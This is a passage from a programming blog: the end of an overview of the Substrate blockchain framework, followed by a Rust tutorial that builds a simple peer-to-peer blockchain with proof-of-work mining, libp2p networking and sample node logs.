This signals that I indeed want this piece of information added to the blockchain — the shared state between all nodes. If my transaction is valid and I have enough funds to pay the transaction fees, it will be added to a block (based on some defined ordering and some other rules). If the block is valid and accepted, it is added to the blockchain and executed, adding my new quote to the distributed ledger.

Fortunately, Substrate implements the mechanism for successfully executing this dance so we can simply rely on it for our custom extensions, making changes where we need them.

Extrinsics, transactions, and the execution model are very important to the inner workings of Substrate and blockchains in general. You can dig in further in the official docs.

This was just a small selection of the core concepts within Substrate, but it should give you a rough idea of what’s what and where to look in case you’re trying to figure out whether some functionality is already present or you’ll have to completely roll it out on your own.

At this point, for most of the standard blockchain-related tech, there’s a good chance Substrate has one or more implementations or a pallet to suit your needs. At some point, you’ll have to build on top of these abstractions.

In those isntances, instead of blindly using the existing modules and algorithms, you may want to dive a bit deeper to really understand what you’re relying on. This still demands a lot less effort than it takes to understand and implement everything from scratch yourself — especially if you want to do so correctly.

Documentation and further reading

At this point, we’ve covered what Substrate is, how it’s structured, and the core concepts behind the system. Where can you go from here to actually play around with Substrate, or even start implementing your own real blockchain project?

Fortunately, Substrate has great tutorials, even for absolute beginners, covering every step from installation, to your first running Substrate blockchain, to a full, customized blockchain example.

To fill in the gap, which you might still have after going through these tutorials, there are also some helpful how-to guides for specific topics.

Another great way to learn is to look at the many open source projects people are building on top of Substrate.

Have fun diving deeper and learning!

Conclusion

In this tutorial, we took a look at the Substrate blockchain framework, where it comes from, how it’s structured, and how to dive into it.

Substrate has been in development for a while and has matured nicely. The amount of work required to create a robust framework for building blockchains — to to mention enabling beginners to learn and achieve their goals — is staggering, and the team at Parity has done a fantastic job so far.

There’s obviously still a lot to do and a project such as Substrate is never finished or perfect. But I’m very much looking forward to seeing many cool blockchain-related projects pop up in the near and not-so-near future, many of which will likely be based on, or at least inspired by, Substrate.

How to build a blockchain in Rust

14 Dec 2021 00:00 +0000

This post was originally posted on the LogRocket blog on 25.11.2021 and was cross-posted here by the author.

In a previous article, we covered how to build a very basic, working (albeit rather inefficient) peer-to-peer application in Rust.

When we think about P2P technology and what it’s used for nowadays, it’s impossible not to immediately think of blockchain technology. Few topics in IT have been as hyped or as controversial over the last decade as blockchain tech and cryptocurrency.

And while the broad interest in blockchain technology has varied quite a bit — which is, naturally, due to the monetary potential behind some of the more widely known and used cryptocurrencies — one thing is clear: it’s still relevant and it doesn’t seem to be going anywhere.

Why blockchain is exciting

While I’m personally not particularly interested in cryptocurrencies or financial gambling in general, I find the idea of decentralizing parts of our existing infrastructure very appealing. There are many great blockchain-based projects out there that aim to tackle societal problems such as climate change, social inequality, privacy and governmental transparency.

The potential behind technology built on the idea of a secure, fully transparent, decentralized ledger that enables actors to interact without having to establish trust first is as game-changing as it seemd. It will be exciting to see which of the aforementioned ambitious ideas will get off the ground, gain traction, and succeed going forward.

In short, blockchain technology is exciting, not only for its world-changing potential, but also from a technical perspective. From cryptography over peer-to-peer networking to fancy consensus algorithms, the field has quite a few fascinating topics to dive into.

Building a blockchain app using Rust

In this guide, we’ll build a very simple blockchain application from scratch using Rust. Our app will not be particularly efficient, secure, or robust, but it will help you understand how some of the fundamental concepts behind widely known blockchain systems can be implemented in a simple way, explaining some of the ideas behind them.

We won’t go into every detail on every concept, and the implementation will have some serious shortcomings. You wouldn’t want to use this project for anything within miles of a production use case, but the goal is to build something you can play around with, apply to your own ideas, and examine to get more familiar with both Rust and blockchain tech in general.

The focus will be on the technical part — i.e., how to implement some of the concepts and how they play together. We won’t explain what a blockchain is, nor will we touch on mining, consensus, and the like beyond what’s necessary for this tutorial. We will mostly be concerned with how to put these ideas, in a simplified version, into Rust code.

Also, we won’t build a cryptocurrency or similar system. Our design is much simpler: every node in the network can add data (strings) to the decentralized ledger (the blockchain) by mining a valid block locally and then broadcasting that block.

As long as it’s a valid block (we’ll see later on what this means), each node will add the block to its chain and our piece of data become part of a decentralized, tamper-proof, indestructible (except that all notes shutdown in our case) network!

This is obviously a quite simplified and somewhat contrived design that would run into efficiency and robustness issues rather quickly when scaling up. But since we’re just doing this exercise to learn, that’s totally fine. If you make it to the end and have some motivation, you can extend it in any direction you want and maybe build the next big thing from our paltry beginnings here — you never know!

Setup

To follow along, all you need is a recent Rust installation.

First, create a new Rust project:

    cargo new rust-blockchain-example
    cd rust-blockchain-example

Next, edit the Cargo.toml file and add the dependencies you’ll need.

    [dependencies]
    chrono = "0.4"
    sha2 = "0.9.8"
    serde = {version = "1.0", features = ["derive"] }
    serde_json = "1.0"
    libp2p = { version = "0.39", features = ["tcp-tokio", "mdns"] }
    tokio = { version = "1.0", features = ["io-util", "io-std", "macros", "rt", "rt-multi-thread", "sync", "time"] }
    hex = "0.4"
    once_cell = "1.5"
    log = "0.4"
    pretty_env_logger = "0.4"

We’re using libp2p as our peer-to-peer networking layer and Tokio as our underlying runtime.

We’ll use the sha2 library for our sha256 hashing and the hex crate to transform the binary hashes into readable and transferable hex.

Besides that, there’s really only utilities such as serde for JSON, log, and pretty_env_logger for logging, once_cell for static initialization, and chrono for timestamps.

With the setup out of the way, let’s start by implementing the blockchain basics first and then, later on, putting all of it into a P2P-networked context.

Blockchain basics

Let’s first define our data structures for our actual blockchain:

    pub struct App {
        pub blocks: Vec<Block>,
    }
    
    #[derive(Serialize, Deserialize, Debug, Clone)]
    pub struct Block {
        pub id: u64,
        pub hash: String,
        pub previous_hash: String,
        pub timestamp: i64,
        pub data: String,
        pub nonce: u64,
    }

That’s it — not much behind it, really. Our App struct essentially holds our application state. We won’t persist the blockchain in this example, so it will go away once we stop the application.

This state is simply a list of Blocks. We will add new blocks to the end of this list and this will actually be our blockchain data structure.

The actual logic will make this list of blocks a chain of blocks, where each block references the previous block’s hash will be implemented in our application logic. It would be possible to build a data structure that already supports the validation we need out of the box, but this approach seems simpler and we definitely aim for simplicity here.

A Block in our case will consist of an id, which is an index starting at 0 counting up. Then, a sha256 hash (the calculation of which we’ll go into later), the hash of the previous block, a timestamp, the data contained in the block and a nonce, which we will also cover when we talk about mining the block.

Before we get to mining, let’s first implement some of the validation functions we need to keep our state consistent and some of the very basic consensus needed, so each client knows which blockchain is the correct one, in case there are multiple conflicting ones.

We start by implementing our App struct:

    impl App {
        fn new() -> Self {
            Self { blocks: vec![] }
        }
    
        fn genesis(&mut self) {
            let genesis_block = Block {
                id: 0,
                timestamp: Utc::now().timestamp(),
                previous_hash: String::from("genesis"),
                data: String::from("genesis!"),
                nonce: 2836,
                hash: "0000f816a87f806bb0073dcf026a64fb40c946b5abee2573702828694d5b4c43".to_string(),
            };
            self.blocks.push(genesis_block);
        }
    ...
    }

We initialize our application with an empty chain. Later on, we’ll implement some logic. We ask other nodes on startup for their chain and, if its longer than ours, use theirs. This is our simplistic consensus criteria.

The genesis method creates the first, hard-coded block in our blockchain. This is a “special” block in that it doesn’t really adhere to the same rules as the rest of the blocks. For example, it doesn’t have a valid previous_hash, since there simply was no block before it.

We need this to “bootstrap” our node — or, really, the whole network as the first node starts. The chain has to start somewhere, and this is it.

Blocks, blocks, blocks

Next, let’s add some functionality enabling us to add new blocks to the chain.

    impl App {
    ...
        fn try_add_block(&mut self, block: Block) {
            let latest_block = self.blocks.last().expect("there is at least one block");
            if self.is_block_valid(&block, latest_block) {
                self.blocks.push(block);
            } else {
                error!("could not add block - invalid");
            }
        }
    ...
    }

Here, we fetch the last block in the chain — our previous block — and then validate whether the block we’d like to add is actually valid. If not, we simply log an error.

In our simple application, we won’t implement any real error handling. As you’ll see later, if we run into trouble with race-conditions between nodes and have an invalid state, our node is basically broken.

I will mention some possible solutions to these problems, but we won’t implement them here; we have quite a bit of ground to cover even without having to worry about these annoying real-world issues.

Let’s look at is_block_valid next, a core piece of our logic.

    const DIFFICULTY_PREFIX: &str = "00";
    
    fn hash_to_binary_representation(hash: &[u8]) -> String {
        let mut res: String = String::default();
        for c in hash {
            res.push_str(&format!("{:b}", c));
        }
        res
    }
    
    impl App {
    ...
        fn is_block_valid(&self, block: &Block, previous_block: &Block) -> bool {
            if block.previous_hash != previous_block.hash {
                warn!("block with id: {} has wrong previous hash", block.id);
                return false;
            } else if !hash_to_binary_representation(
                &hex::decode(&block.hash).expect("can decode from hex"),
            )
            .starts_with(DIFFICULTY_PREFIX)
            {
                warn!("block with id: {} has invalid difficulty", block.id);
                return false;
            } else if block.id != previous_block.id + 1 {
                warn!(
                    "block with id: {} is not the next block after the latest: {}",
                    block.id, previous_block.id
                );
                return false;
            } else if hex::encode(calculate_hash(
                block.id,
                block.timestamp,
                &block.previous_hash,
                &block.data,
                block.nonce,
            )) != block.hash
            {
                warn!("block with id: {} has invalid hash", block.id);
                return false;
            }
            true
        }
    ...
    }

We first define a constant DIFFICULTY_PREFIX. This is the basis for our very simplistic mining scheme. Essentially, when mining a block, the person mining has to hash the data for the block (with SHA256, in our case) and find a hash, which, in binary, starts with 00 (two zeros). This also denotes our “difficulty” on the network.

As you can imagine, the time to find a suitable hash increases quite a bit if we want three, four, five, or even 20 leading zeros. In a “real” blockchain system, this difficulty would be a network attribute, which is agreed upon between nodes based on a consensus algorithm and based on the network’s hash-power, so the network can guarantee to produce a new block in a certain amount of time.

We won’t deal with this here. For simplicity’s sake, we’ll just hardcode it to two leading zeros. This doesn’t take too long to compute on normal hardware, so we don’t need to worry about waiting too long when testing.

Next, we have a helper function, which is simply the binary representation of a given byte array in the form of a String. This is used to conveniently check whether a hash fits our DIFFICULTY_PREFIX condition. There are, obviously, much more elegant and faster ways to do this, but this is simple and works for our case.

Now to the logic of validating a Block. This is important because it ensures our blockchain adheres to it’s chain property and is hard to tamper with. The difficulty of changing something increases with every block since you’d have to recalculate (i.e., re-mine) the rest of the chain to get a valid chain again. This would be expensive enough to disincentivise you in a real blockchain system)

There are a few rules of thumb you should follow:

The previous_hash needs to actually match the hash of the last block in the chain
The hash needs to start with our DIFFICULTY_PREFIX (i.e., two zeros), which indicated that it was mined correctly
The id needs to be the latest ID incremented by 1
The hash needs to actually be correct; hashing the data of the block needs to give us the block hash (otherwise, you might as well just create a random hash starting with 001)

If we think about this as a distributed system, you might notice that it’s possible to run into trouble here. What if two nodes mine a block at the same time based on block ID 5? They would both create block ID 6 with the previous block pointing to block ID 5.

So then we’d be sent both blocks. We would validate them and add the first one coming in, but the second one would be thrown out during validation since we already have a block with ID 6.

This is an inherent problem in a system such as this and the reason there needs to be a consensus algorithm between nodes to decide which blocks (i.e., which chain) to agree on and use.

Optimally, if the block you mined isn’t added to the agreed-upon chain, you’ll have to mine it again and hope it works better the next time. In our simple case here, this retry mechanism won’t be implemented; if such a race happens, that node is essentially out of the game.

There are more sophisticated approaches to fix this in the blockchain space, of course. For example, if we were to send our data as “transactions” to other nodes and nodes would mine blocks with a set of transactions, this would be somewhat mitigated. But then everyone would mine all the time and the fastest one wins. So, as you can see, this would generate additional, but less severe, problems we’d have to fix.

Anyway, our simple approach will work for our local test network.

Which chain to use?

Now that we can validate a block, let’s implement logic for validating a whole chain:

    impl App {
    ...
        fn is_chain_valid(&self, chain: &[Block]) -> bool {
            for i in 0..chain.len() {
                if i == 0 {
                    continue;
                }
                let first = chain.get(i - 1).expect("has to exist");
                let second = chain.get(i).expect("has to exist");
                if !self.is_block_valid(second, first) {
                    return false;
                }
            }
            true
        }
    ...
    }

Ignoring the genesis block, we basically just go through all the blocks and validate them. If one block fails the validation, we fail the whole chain.

There’s one more method left in App that will help us choose which chain to use:

    impl App {
    ...
        // We always choose the longest valid chain
        fn choose_chain(&mut self, local: Vec<Block>, remote: Vec<Block>) -> Vec<Block> {
            let is_local_valid = self.is_chain_valid(&local);
            let is_remote_valid = self.is_chain_valid(&remote);
    
            if is_local_valid && is_remote_valid {
                if local.len() >= remote.len() {
                    local
                } else {
                    remote
                }
            } else if is_remote_valid && !is_local_valid {
                remote
            } else if !is_remote_valid && is_local_valid {
                local
            } else {
                panic!("local and remote chains are both invalid");
            }
        }
    }

This happens if we ask another node for its chain to determine whether it’s “better” (according to our consensus algorithm) than our local one.

Our criteria is simply the length of the chain. In real systems, there are usually more factors, such as the difficulty factored in and many other possibilities. For the purpose of this exercise, if a (valid) chain is longer than the other, then we take that one.

We validate both our local and the remote chain and take the longer one. We will also be able to use this functionality during startup when we ask other nodes for their chain and. Since ours only includes a genesis block, we’ll immediately get up to speed with the “agreed on” chain.

Mining

To finish our blockchain-related logic, let’s implement our basic mining scheme.

    impl Block {
        pub fn new(id: u64, previous_hash: String, data: String) -> Self {
            let now = Utc::now();
            let (nonce, hash) = mine_block(id, now.timestamp(), &previous_hash, &data);
            Self {
                id,
                hash,
                timestamp: now.timestamp(),
                previous_hash,
                data,
                nonce,
            }
        }
    }

When a new block is created, we call mine_block, which will return a nonce and a hash. Then we can create the block with its timestamp, the given data, ID, previous hash, and the new hash and nonce.

We talked about all of the above fields, except for the nonce. To explain what this is, let’s look at the mine_block function:

    fn mine_block(id: u64, timestamp: i64, previous_hash: &str, data: &str) -> (u64, String) {
        info!("mining block...");
        let mut nonce = 0;
    
        loop {
            if nonce % 100000 == 0 {
                info!("nonce: {}", nonce);
            }
            let hash = calculate_hash(id, timestamp, previous_hash, data, nonce);
            let binary_hash = hash_to_binary_representation(&hash);
            if binary_hash.starts_with(DIFFICULTY_PREFIX) {
                info!(
                    "mined! nonce: {}, hash: {}, binary hash: {}",
                    nonce,
                    hex::encode(&hash),
                    binary_hash
                );
                return (nonce, hex::encode(hash));
            }
            nonce += 1;
        }
    }

After announcing that we’re about to mine a block, we set the nonce to 0.

Then, we start an endless loop, which increments the nonce in each step. Inside the loop, besides logging every 100000’s iteration to have a rough progress indicator, we calculate a hash over the data of the block using calculate_hash, which we’ll check out next.

Then, we use our hash_to_binary_representation helper and check whether the calculated hash adheres to our difficulty criteria of starting with two zeros.

If so, we log it and return the nonce, the incrementing integer, where it happened, and the (hex-encoded) hash. Otherwise, we increment nonce and go again.

Essentially, we’re desperately trying to find a piece of data — in this case, the nonce and a number, which, together with our block data hashed using SHA256, will give us a hash starting with two zeros.

We need to record this nonce in our block so other nodes can verify our hash, since the nonce is hashed together with the block data. For example, if it would take us 52,342 iterations to calculate a fitting hash (starting with two zeros), the nonce would be 52341 (1 less, since it starts at 0).

Let’s look at the utility for actually creating the SHA256 hash as well.

    fn calculate_hash(id: u64, timestamp: i64, previous_hash: &str, data: &str, nonce: u64) -> Vec<u8> {
        let data = serde_json::json!({
            "id": id,
            "previous_hash": previous_hash,
            "data": data,
            "timestamp": timestamp,
            "nonce": nonce
        });
        let mut hasher = Sha256::new();
        hasher.update(data.to_string().as_bytes());
        hasher.finalize().as_slice().to_owned()
    }

This one is rather straightforward. We create a JSON-representation of our block data using the current nonce and put it through sha2’s SHA256 hasher, returning a Vec<u8>.

That’s essentially all of our blockchain logic implemented. We have a blockchain data structure: a list of blocks. We have blocks, which point to the previous block. Theseare required to have an increasing ID number and a hash that adheres to our rules of mining.

If we ask to get new blocks from other nodes, we validate them and, if they’re OK, add them to the chain. If we get a full blockchain from another node, we also validate it and, if it’s longer than ours (i.e., has more blocks in it), we replace our own chain with it.

As you can imagine, since every node implements this exact logic, blocks and the agreed-on chains can propagate through the network quickly and the network converges to the same state (as with the aforementioned error handling limitations in our simple case).

Peer-to-peer basics

Next, we’ll implement the P2P-based network stack.

Start by creating a p2p.rs file, which will hold most of the peer-to-peer logic we’ll use in our application.

There, again, we define some basic data structures and constants we’ll need:

    pub static KEYS: Lazy<identity::Keypair> = Lazy::new(identity::Keypair::generate_ed25519);
    pub static PEER_ID: Lazy<PeerId> = Lazy::new(|| PeerId::from(KEYS.public()));
    pub static CHAIN_TOPIC: Lazy<Topic> = Lazy::new(|| Topic::new("chains"));
    pub static BLOCK_TOPIC: Lazy<Topic> = Lazy::new(|| Topic::new("blocks"));
    
    #[derive(Debug, Serialize, Deserialize)]
    pub struct ChainResponse {
        pub blocks: Vec<Block>,
        pub receiver: String,
    }
    
    #[derive(Debug, Serialize, Deserialize)]
    pub struct LocalChainRequest {
        pub from_peer_id: String,
    }
    
    pub enum EventType {
        LocalChainResponse(ChainResponse),
        Input(String),
        Init,
    }
    
    #[derive(NetworkBehaviour)]
    pub struct AppBehaviour {
        pub floodsub: Floodsub,
        pub mdns: Mdns,
        #[behaviour(ignore)]
        pub response_sender: mpsc::UnboundedSender<ChainResponse>,
        #[behaviour(ignore)]
        pub init_sender: mpsc::UnboundedSender<bool>,
        #[behaviour(ignore)]
        pub app: App,
    }

Starting from the top, we define a key pair and a derived peer ID. Those are simply libp2p’s intrinsics for identifying a client on the network.

Then, we define two so-called topics: chains and blocks. We’ll use the FloodSub protocol, a simple publish/subscribe protocol, for communication between the nodes.

This has the advantage, that it’s very simple to set up and use, but the disadvantage, that we need to broadcast every piece of information. So even if we just want to respond to one client’s “request for our chain”, that client will send this request to all nodes they’re connected to on the network and we will also send our response to all of them.

This is no problem in terms of correctness, but in terms of efficiency, it’s obviously horrendous. This could be handled by a simple point-to-point request/response model, which is something libp2p supports, but this would simply add even more complexity to this already complex example. If you’re interested, you can check out the libp2p docs.

We could also use the more efficient GossipSub instead of FloodSub. But, again, it’s not as convenient to set up and we’re really not particularly interested in performance at this point. The interface is very similar. Again, if you’re interested in playing around with this, check out the official docs.

Anyway, the topics are basically “channels” to subscribe to. We can subscribe to “chains” and use them to send our local blockchain to other nodes and to receive theirs. The same is true for “blocks”, which we’ll use to broadcast and receive new blocks.

Next up, we have the concept of a ChainResponse holding a list of blocks and a receiver. This is a struct, which we’ll expect if someone sends us their local blockchain and use to send them our local chain.

The LocalChainRequest is what triggers this interaction. If we send a LocalChainRequest with the peer_id of another node in the system, this will trigger that they send us their chain back, as we’ll see later on.

To handle incoming messages, lazy initialization, and keyboard-input by the client’s user, we define the EventType enum, which will help us send events across the application to keep our application state in sync with incoming and outgoing network traffic.

Finally, the core of the P2P functionality is our AppBehaviour, which implements NetworkBehaviour, libp2p’s concept for implementing a decentralized network stack.

We won’t go into the nitty-gritty here, but my comprehensive libp2p tutorial goes into more detail on this.

The AppBehaviour holds our FloodSub instance for pub/sub communication and and Mdns instance, which will enable us to automatically find other nodes on our local network (but not outside of it).

We also add our blockchain App to this behaviour, as well as channels for sending events for both initialization and request/response communication between parts of the app. We’ll see this in action later on.

Initializing the AppBehaviour is also rather straightforward:

    impl AppBehaviour {
        pub async fn new(
            app: App,
            response_sender: mpsc::UnboundedSender<ChainResponse>,
            init_sender: mpsc::UnboundedSender<bool>,
        ) -> Self {
            let mut behaviour = Self {
                app,
                floodsub: Floodsub::new(*PEER_ID),
                mdns: Mdns::new(Default::default())
                    .await
                    .expect("can create mdns"),
                response_sender,
                init_sender,
            };
            behaviour.floodsub.subscribe(CHAIN_TOPIC.clone());
            behaviour.floodsub.subscribe(BLOCK_TOPIC.clone());
    
            behaviour
        }
    }

Handling incoming messages

First, we implement the handlers for data coming in from other nodes.

We’ll start with the Mdns events since they’re basically boilerplate:

    impl NetworkBehaviourEventProcess<MdnsEvent> for AppBehaviour {
        fn inject_event(&mut self, event: MdnsEvent) {
            match event {
                MdnsEvent::Discovered(discovered_list) => {
                    for (peer, _addr) in discovered_list {
                        self.floodsub.add_node_to_partial_view(peer);
                    }
                }
                MdnsEvent::Expired(expired_list) => {
                    for (peer, _addr) in expired_list {
                        if !self.mdns.has_node(&peer) {
                            self.floodsub.remove_node_from_partial_view(&peer);
                        }
                    }
                }
            }
        }
    }

If a new node is discovered, we add it to our FloodSub list of nodes so we can communicate. Once it expires, we remove it again.

More interesting is the implementation of the NetworkBehaviour for our FloodSub communication protocol.

    // incoming event handler
    impl NetworkBehaviourEventProcess<FloodsubEvent> for AppBehaviour {
        fn inject_event(&mut self, event: FloodsubEvent) {
            if let FloodsubEvent::Message(msg) = event {
                if let Ok(resp) = serde_json::from_slice::<ChainResponse>(&msg.data) {
                    if resp.receiver == PEER_ID.to_string() {
                        info!("Response from {}:", msg.source);
                        resp.blocks.iter().for_each(|r| info!("{:?}", r));
    
                        self.app.blocks = self.app.choose_chain(self.app.blocks.clone(), resp.blocks);
                    }
                } else if let Ok(resp) = serde_json::from_slice::<LocalChainRequest>(&msg.data) {
                    info!("sending local chain to {}", msg.source.to_string());
                    let peer_id = resp.from_peer_id;
                    if PEER_ID.to_string() == peer_id {
                        if let Err(e) = self.response_sender.send(ChainResponse {
                            blocks: self.app.blocks.clone(),
                            receiver: msg.source.to_string(),
                        }) {
                            error!("error sending response via channel, {}", e);
                        }
                    }
                } else if let Ok(block) = serde_json::from_slice::<Block>(&msg.data) {
                    info!("received new block from {}", msg.source.to_string());
                    self.app.try_add_block(block);
                }
            }
        }
    }

For incoming events, which are FloodsubEvent::Message, we check whether the payload fits any of our expected data structures.

If it’s a ChainResponse, it means we got sent a local blockchain by another node.

We check wether we’re actually the receiver of said piece of data and, if so, log the incoming blockchain and attempt to execute our consensus. If it’s valid and longer than our chain, we replace our chain with it. Otherwise, we keep our own chain.

If the incoming data is a LocalChainRequest, we check whether we’re the ones they want the chain from, checking the from_peer_id. If so, we simply send them a JSON version of our local blockchain. The actual sending part is in another part of the code, but for now, we simply send it through our event channel for responses.

Finally, if it’s a Block that’s incoming, that means someone else mined a block and wants us to add it to our local chain. We check whether the block is valid and, if it is, add it.

Putting it all together

Great! Now let’s wire this all together and add some commands for users to interact with the application.

Back in main.rs, it’s time to actually implement the main function.

We start with the setup:

    #[tokio::main]
    async fn main() {
        pretty_env_logger::init();
    
        info!("Peer Id: {}", p2p::PEER_ID.clone());
        let (response_sender, mut response_rcv) = mpsc::unbounded_channel();
        let (init_sender, mut init_rcv) = mpsc::unbounded_channel();
    
        let auth_keys = Keypair::<X25519Spec>::new()
            .into_authentic(&p2p::KEYS)
            .expect("can create auth keys");
    
        let transp = TokioTcpConfig::new()
            .upgrade(upgrade::Version::V1)
            .authenticate(NoiseConfig::xx(auth_keys).into_authenticated())
            .multiplex(mplex::MplexConfig::new())
            .boxed();
    
        let behaviour = p2p::AppBehaviour::new(App::new(), response_sender, init_sender.clone()).await;
    
        let mut swarm = SwarmBuilder::new(transp, behaviour, *p2p::PEER_ID)
            .executor(Box::new(|fut| {
                spawn(fut);
            }))
            .build();
    
        let mut stdin = BufReader::new(stdin()).lines();
    
        Swarm::listen_on(
            &mut swarm,
            "/ip4/0.0.0.0/tcp/0"
                .parse()
                .expect("can get a local socket"),
        )
        .expect("swarm can be started");
    
        spawn(async move {
            sleep(Duration::from_secs(1)).await;
            info!("sending init event");
            init_sender.send(true).expect("can send init event");
        });

That’s a whole lot of code, but it basically just sets up things we already talked about. We initialize logging and our two event channels for initialization and responses.

Then, we initialize our key pair, the libp2p transport, behavior, and the libp2p Swarm, which is the entity that runs our network stack.

We also initialize a buffered reader on stdin so we can read incoming commands from the user and start our Swarm.

Finally, we spawn an asynchronous coroutine, which waits a second and then sends an initialization trigger on the init channel.

This is the signal we’ll use after starting a node to wait for a bit until the node is up and connected. We then ask another node for their current blockchain to get us up to speed.

The rest of main is the interesting part — the part where we handle keyboard events from the user, incoming data, and outgoing data.

        loop {
            let evt = {
                select! {
                    line = stdin.next_line() => Some(p2p::EventType::Input(line.expect("can get line").expect("can read line from stdin"))),
                    response = response_rcv.recv() => {
                        Some(p2p::EventType::LocalChainResponse(response.expect("response exists")))
                    },
                    _init = init_rcv.recv() => {
                        Some(p2p::EventType::Init)
                    }
                    event = swarm.select_next_some() => {
                        info!("Unhandled Swarm Event: {:?}", event);
                        None
                    },
                }
            };
    
            if let Some(event) = evt {
                match event {
                    p2p::EventType::Init => {
                        let peers = p2p::get_list_peers(&swarm);
                        swarm.behaviour_mut().app.genesis();
    
                        info!("connected nodes: {}", peers.len());
                        if !peers.is_empty() {
                            let req = p2p::LocalChainRequest {
                                from_peer_id: peers
                                    .iter()
                                    .last()
                                    .expect("at least one peer")
                                    .to_string(),
                            };
    
                            let json = serde_json::to_string(&req).expect("can jsonify request");
                            swarm
                                .behaviour_mut()
                                .floodsub
                                .publish(p2p::CHAIN_TOPIC.clone(), json.as_bytes());
                        }
                    }
                    p2p::EventType::LocalChainResponse(resp) => {
                        let json = serde_json::to_string(&resp).expect("can jsonify response");
                        swarm
                            .behaviour_mut()
                            .floodsub
                            .publish(p2p::CHAIN_TOPIC.clone(), json.as_bytes());
                    }
                    p2p::EventType::Input(line) => match line.as_str() {
                        "ls p" => p2p::handle_print_peers(&swarm),
                        cmd if cmd.starts_with("ls c") => p2p::handle_print_chain(&swarm),
                        cmd if cmd.starts_with("create b") => p2p::handle_create_block(cmd, &mut swarm),
                        _ => error!("unknown command"),
                    },
                }
            }
        }

We start an endless loop and use Tokio’s select! macro to race multiple async functions.

This means whichever one of these finishes first will get handled first and then we start anew.

The first event emitter is our buffered reader, which will give us input lines from the user. If we get one, we create an EventType::Input with the line.

Then, we listen to the response channel and the init channel, creating their events respectively. And if events come in on the swarm itself, this means they are events that are neither handled by our Mdns behavior nor our FloodSub behavior and we just log them. They’re mostly noise, such as connection/disconnection in our case, but helpful for debugging.

With the corresponding events created (or no event created), we go about handling them.

For our Init event, we call genesis() on our app, creating our genesis block. If we’re connected to nodes, we trigger a LocalChainRequest to the last one in the list.

Obviously, here it would make sense to ask multiple nodes, and maybe multiple times, and select the best (i.e., longest) chain of the responses we get. But for simplicity’s sake, we just ask one and accept whatever they send us.

Then, if we get a LocalChainResponse event, that means something was sent on the response channel. If you remember above, that happened in our FloodSub behavior when we sent back our local blockchain to a requesting node. Here, we actually send the incoming JSON to the correct FloodSub topic, so it’s broadcast to the network.

Finally, for user input, we have three commands:

ls p lists all peers
ls c prints the local blockchain
create b $data creates a new block with $data as it’s string content

Each command calls one of these helper functions:

    pub fn get_list_peers(swarm: &Swarm<AppBehaviour>) -> Vec<String> {
        info!("Discovered Peers:");
        let nodes = swarm.behaviour().mdns.discovered_nodes();
        let mut unique_peers = HashSet::new();
        for peer in nodes {
            unique_peers.insert(peer);
        }
        unique_peers.iter().map(|p| p.to_string()).collect()
    }
    
    pub fn handle_print_peers(swarm: &Swarm<AppBehaviour>) {
        let peers = get_list_peers(swarm);
        peers.iter().for_each(|p| info!("{}", p));
    }
    
    pub fn handle_print_chain(swarm: &Swarm<AppBehaviour>) {
        info!("Local Blockchain:");
        let pretty_json =
            serde_json::to_string_pretty(&swarm.behaviour().app.blocks).expect("can jsonify blocks");
        info!("{}", pretty_json);
    }
    
    pub fn handle_create_block(cmd: &str, swarm: &mut Swarm<AppBehaviour>) {
        if let Some(data) = cmd.strip_prefix("create b") {
            let behaviour = swarm.behaviour_mut();
            let latest_block = behaviour
                .app
                .blocks
                .last()
                .expect("there is at least one block");
            let block = Block::new(
                latest_block.id + 1,
                latest_block.hash.clone(),
                data.to_owned(),
            );
            let json = serde_json::to_string(&block).expect("can jsonify request");
            behaviour.app.blocks.push(block);
            info!("broadcasting new block");
            behaviour
                .floodsub
                .publish(BLOCK_TOPIC.clone(), json.as_bytes());
        }
    }

Listing clients and printing the blockchain is rather straightforward. Creating a block is more interesting.

In that case, we use Block::new to create (and mine) a new block. Once that happens, we JSONify it and broadcast it to the network so others may add it to their chain.

This where we would put some logic for r-trying this. For example, we could add it to a queue and see whether, after a while, our block propagates to the widely agreed-upon blockchain and, if not, get a new copy of the agreed-on chain and mine it again to get it on there. As mentioned above, this design certainly won’t scale to many nodes mining their blocks all the time, but that’s OK for the purpose of this tutorial.

Let’s start it and see if it works!

Testing our Rust blockchain

We can start the application using RUST_LOG=info cargo run. It’s best to actually start multiple instances of it in different terminal windows.

For example, we can start two nodes:

    INFO  rust_blockchain_example > Peer Id: 12D3KooWJWbGzpdakrDroXuCKPRBqmDW8wYc1U3WzWEydVr2qZNv

And:

    INFO  rust_blockchain_example > Peer Id: 12D3KooWSXGZJJEnh3tndGEVm6ACQ5pdaPKL34ktmCsUqkqSVTWX

Using ls p in the second app shows us the connection to the first one:

     INFO  rust_blockchain_example::p2p > Discovered Peers:
     INFO  rust_blockchain_example::p2p > 12D3KooWJWbGzpdakrDroXuCKPRBqmDW8wYc1U3WzWEydVr2qZNv

Then, we can use ls c to print the genesis block:

     INFO  rust_blockchain_example::p2p > Local Blockchain:
     INFO  rust_blockchain_example::p2p > [
      {
        "id": 0,
        "hash": "0000f816a87f806bb0073dcf026a64fb40c946b5abee2573702828694d5b4c43",
        "previous_hash": "genesis",
        "timestamp": 1636664658,
        "data": "genesis!",
        "nonce": 2836
      }
    ]

So far, so good. let’s create a block:

    create b hello
     INFO  rust_blockchain_example      > mining block...
     INFO  rust_blockchain_example      > nonce: 0
     INFO  rust_blockchain_example      > mined! nonce: 62235, hash: 00008cf68da9f978aa080b7aad93fb4285e3c0dbd85fc21bc7e83e623f9fa922, binary hash: 0010001100111101101000110110101001111110011111000101010101000101111110101010110110010011111110111000010100001011110001111000000110110111101100010111111100001011011110001111110100011111011000101111111001111110101001100010
     INFO  rust_blockchain_example::p2p > broadcasting new block

On the first node, we see this:

    INFO  rust_blockchain_example::p2p > received new block from 12D3KooWSXGZJJEnh3tndGEVm6ACQ5pdaPKL34ktmCsUqkqSVTWX

And calling ls c:

     INFO  rust_blockchain_example::p2p > Local Blockchain:
     INFO  rust_blockchain_example::p2p > [
      {
        "id": 0,
        "hash": "0000f816a87f806bb0073dcf026a64fb40c946b5abee2573702828694d5b4c43",
        "previous_hash": "genesis",
        "timestamp": 1636664655,
        "data": "genesis!",
        "nonce": 2836
      },
      {
        "id": 1,
        "hash": "00008cf68da9f978aa080b7aad93fb4285e3c0dbd85fc21bc7e83e623f9fa922",
        "previous_hash": "0000f816a87f806bb0073dcf026a64fb40c946b5abee2573702828694d5b4c43",
        "timestamp": 1636664772,
        "data": " hello",
        "nonce": 62235
      }
    ]

The block got added!

Let’s start a third node. It should automatically get this updated chain because it’s longer than its own (only the genesis block).

